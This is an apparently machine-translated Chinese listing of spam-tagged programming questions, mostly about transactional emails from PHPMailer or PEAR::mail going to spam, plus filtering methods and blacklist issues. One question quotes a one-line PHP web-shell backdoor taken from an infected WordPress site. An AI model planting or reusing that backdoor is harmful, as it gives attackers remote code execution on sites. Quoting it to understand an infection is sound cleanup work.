我一直试图让PEAR :: mail成功地向hotmail用户发送电子邮件而不被标记为垃圾邮件并最终进入垃圾邮件文件夹,我只使用hotmail与yahoo/gmail没有问题.
谷歌建议这是hotmail的常见问题,可能的原因可能包括
检查了以上所有我只能想到另一个原因 - 格式不正确的标题?
为了测试这个理论,我设置outlook通过PEAR :: mail使用的相同地址发送电子邮件并发送快速测试 - 它直接发送到我的收件箱
所以我将PEAR :: mail发送的电子邮件中的标题与Outlook发送的标题进行了比较,并且只有一些差异 - 我只列出了差异以节省空间(以及人们的眼睛)
PEAR ::邮件头(不在outlook头文件中)
X-PHP-Script: www.example.com/register.php for [users ip address]
Run Code Online (Sandbox Code Playgroud)
Outlook标头(不在PEAR ::邮件头中)
X-Mailer: Microsoft Office Outlook 11
Thread-Index: Ack6CWSQlgV8s6+6SWyifka2NNpB7g==
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3350
Run Code Online (Sandbox Code Playgroud)
我能看到的唯一其他差异是
外表
Received: from myhomehostname.com ([ip address] helo=simber)
by mywebhostname.com with local (Exim 4.67)
Run Code Online (Sandbox Code Playgroud)
PEAR ::邮件
Received: from apache by mywebhostname.com with local (Exim 4.67)
Run Code Online (Sandbox Code Playgroud)
标题中的这些小差异可能是原因还是我在错误的地方?我知道这可能有问题因此为什么我选择使用PEAR :: mail类而不是自己滚动但现在我真的不知道该去哪里,任何帮助都将非常感激.
更新:根据changelog的建议,我已经尝试将MS标头添加到PEAR :: mail类,我尝试用PHPMailer替换PEAR :: mail(有和没有额外的标头) - …
我正在使用PHPMailer为我社交网络中新注册的用户发送确认电子邮件.但我发现他们中的大多数都已经进入了用户的垃圾邮件列表.(Hotmail和Yahoo).怎么避免这个?
这是我的剧本
$mail=new PHPMailer();
$mail->IsSMTP();
$mail->SMTPAuth = mSMTPAuth();
$mail->SMTPSecure = mSMTPSecure();
$mail->Host = mHost();
$mail->Port = mPort();
$mail->Username = mUsername();
$mail->Password = mPassword();
$mail->From = mFrom();
$mail->FromName = "SiteName";
$mail->Subject = "SiteName New Account Activation";
$mail->IsHTML(true);
$mail->WordWrap = 50;
$mail->Body = "<h2>Welcome to " .$sitename. " " .$username. "! </h2><br><br>";
$mail->Body .= "Please click on the link below to verify your email address:<br><br>";
$mail->Body .= "<a href='".$base. "verify.php?a=" .$gen_key."'>".$base. "verify.php?a=" .$gen_key."</a>";
$mail->Body .= "<br><br>Regards<br>";
$mail->AltBody = "Welcome to " .$sitename. …Run Code Online (Sandbox Code Playgroud) 我正在运营一个可以向其他人发送邀请的网站,我遇到了一个问题,即从我的网站发送的电子邮件都被归类为主要电子邮件服务提供商中的垃圾邮件,我只是想知道如何尽可能地避免这种情况.
基本上我现在在做什么:
1)用户输入朋友的电子邮件
2)我使用python发送电子邮件,电子邮件很简单 - 纯文本,只是一行文字告诉别人你的朋友邀请你,并且网站为他创建了一个帐户,密码为**
3)电子邮件的"发件人"是发送邀请的用户(我想知道这是否有助于垃圾邮件?),而不是我网站的电子邮件.
谢谢.箱子
我从wordpress网站中提取了这个,这个网站恰好被感染并被我清理干净了.
<?php ($_=@$_GET[page]).@$_($_POST[404]);?>
Run Code Online (Sandbox Code Playgroud)
我怀疑这行是SEO垃圾邮件,但我无法理解这一行.
我有一个用perl编写的英语论坛网站,该网站不断受到俄语垃圾邮件的轰炸.有没有办法使用Perl和正则表达式来检测俄语文本,以便我可以阻止它?
我最近受到了启发,用JavaScript(Greasemonkey风格)编写垃圾邮件过滤器,用于我使用的几个易于垃圾邮件的网站(特别是在评论中).当我考虑如何解决这个问题时,我意识到我有几个选择,每个选项都有优点/缺点.我对这个问题的目标是扩展我创建的列表,并希望确定使用JavaScript进行客户端垃圾邮件过滤的最佳方式.
至于什么使垃圾邮件过滤器"最好",我会说这些是标准:
另请注意,我正在尝试使用Greasemonkey Userscripts过滤已经存在于非我的网站上的内容.换句话说,我无法阻止垃圾邮件; 我只能过滤它.
到目前为止,我的尝试是编制各种方法的列表及其缺点和好处:
基于规则的过滤器:
它的作用:通过将点值分配给不同的标准(即全部大写,所有非字母数字等)来"消息"消息.根据分数,丢弃或保留消息.
优点:
不足之处:
贝叶斯过滤:
它的作用:分析词频(或三字母频率)并将其与训练过的数据进行比较.
好处:
不足之处:
贝叶斯过滤 - 服务器端:
作用:通过将每条消息提交给远程服务器进行分析,应用贝叶斯过滤服务器端.
优点:
不足之处:
黑名单:
作用:将一组条件应用于消息或其某些属性.如果一个或多个(或特定数量)标准匹配,则拒绝该消息.很像基于规则的过滤,所以请参阅其描述以获取详细信息.
CAPTCHAs等:
对于这种类型的应用程序不可行.我正在尝试将这些方法应用于已存在的网站.Greasemonkey将用于做到这一点; 在某人安装我的脚本之前,我无法在他们没有的地方开始要求CAPTCHA.
任何人都可以帮我填空吗?谢谢,
javascript greasemonkey artificial-intelligence spam-prevention spam
我在从系统发送电子邮件时遇到问题,问题是电子邮件被发送到gmail/yahoo/hotmail中的垃圾邮箱.我在做了一些功课后发布了这里,并且已经验证并检查了SPF设置,反向DNS设置(指向其他地方,并在今天早上约5小时前进行了更改).RDNS检查现在说映射是完美的.但没有运气.邮件将去spambox.可能是什么问题呢?
背景:我使用PHP与PHPMailer发送电子邮件.
来自垃圾邮件箱中收到的邮件的标题:
Delivered-To: ajithsubramanian@gmail.com
Received: by 10.227.144.12 with SMTP id x12cs63931wbu;
Mon, 9 May 2011 17:05:44 -0700 (PDT)
Received: by 10.68.64.225 with SMTP id r1mr11349194pbs.250.1304985942785;
Mon, 09 May 2011 17:05:42 -0700 (PDT)
Return-Path: <info@xpal.com>
Received: from xpal.com (208.78.241.38.svwh.net [208.78.241.38])
by mx.google.com with ESMTPS id w1si21200467pbh.199.2011.05.09.17.05.40
(version=TLSv1/SSLv3 cipher=OTHER);
Mon, 09 May 2011 17:05:41 -0700 (PDT)
Received-SPF: pass (google.com: domain of info@xpal.com designates 208.78.241.38 as permitted sender) client-ip=208.78.241.38;
Authentication-Results: mx.google.com; spf=pass (google.com: domain of info@xpal.com designates 208.78.241.38 as permitted sender) smtp.mail=info@xpal.com …Run Code Online (Sandbox Code Playgroud) 我的网络应用程序正在向其用户发送交易电子邮件(例如"您收到付款","请激活您的帐户","您的文章已售出").由于"文本模式分析器",GMX用户定期报告这些电子邮件被标记为垃圾邮件.我可以使用自己的帐户重现问题,但只有英文电子邮件受到影响,我的网络应用程序发送的德语电子邮件没有问题.
所以我很确定内容必须是问题(如"Text Pattern Profiler"已经是sais :)),但我不知道如何解决它.有什么我能做的吗?
我被要求将一些电子邮件地址添加到我设计的网站上的个人个人作品库中。
已经有一种非常明显的电子邮件表格可供客户使用,但它只能发送到一个地址。然后,主电子邮件收件人必须将电子邮件转发给预期收件人。业务刚开始时,只有一名主收件人。但现在有五六位艺术家,店铺也在不断壮大。
href="mailto:"我的第一个想法是在每个人的个人页面上放置链接。这对于没有配置电子邮件客户端的客户来说不太方便,但复制和粘贴就可以了。另外,客户担心垃圾邮件,但我认为电子邮件过滤器比某些混淆技术更有效。
然后我读到这篇文章,其中说使用 mailto “尖叫‘这个网站是由初学者开发的。’我不太同意。作者提倡使用服务器端表单。我已经制作了一个 PHP 表单,可以轻松添加一个 drop删除收件人(也许不是那么容易,但可以完成)或让收件人字段自动填充到特定人员页面上。
我真正的问题有三个:
顺便说一句,我已经准备好找到一些数据,表明混淆是(有点有效),但这篇文章似乎过时了。
我遇到了 SORBS 的问题,它仍然将我的 IP 列入黑名单,我通过这些 IP 向用户发送通知(IP 是专用的 Amazon SES IP)。我在他们的支持平台(support.sorbs.net)上报告了每一项禁令,在他们建议在电子邮件中实现List-unsubscribe标头的第一次请求中 - 我已经做到了。
每个除名请求看起来都很相似 - 我正在写哪个 IP 被禁止,他们要求解释为什么他们应该除名这个 IP 地址,答案是我向用户发送通知(他们在注册期间接受了这些通知,并且他们有机会禁用它)。但我的 IPS 却一次又一次被列入黑名单。
有人遇到与 SORBS 垃圾邮件陷阱类似的问题吗?SORBS 不想透露将我的 IP 列入黑名单的确切原因。
spam ×10
email ×4
php ×4
phpmailer ×2
amazon-ses ×1
email-spam ×1
gmail ×1
greasemonkey ×1
html ×1
javascript ×1
mailto ×1
pear ×1
perl ×1
regex ×1
url-scheme ×1
yahoo ×1